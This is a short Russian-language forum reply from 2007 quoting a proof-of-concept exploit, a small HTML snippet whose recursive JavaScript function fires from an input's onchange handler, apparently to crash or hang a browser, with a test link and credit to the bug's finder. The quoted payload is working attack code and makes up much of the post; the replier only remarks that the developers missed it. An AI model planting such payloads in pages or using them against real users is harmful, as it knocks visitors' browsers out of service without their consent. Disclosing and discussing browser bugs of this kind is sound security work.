Показать сообщение отдельно

  #2  
Старый 02.01.2007, 22:21
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Цитата:
Сообщение от Arvi The Fakep  
PoC exploit:

Код HTML:
<script>
function owned(){

setTimeout("owned()",1000);
owned();
}
</script>
<input type="foo" size="30" id="bar" onchange="owned()">
Протестироваться можно здесь: http://sapheal.cybersecurity.pl/blac...rko_ABCDE.html

Багу нашел Michal Bucko.
мде =\ 4ё-то кодеры это не учли =\
Наверно в следующем апдейте исправят
 
Ответить с цитированием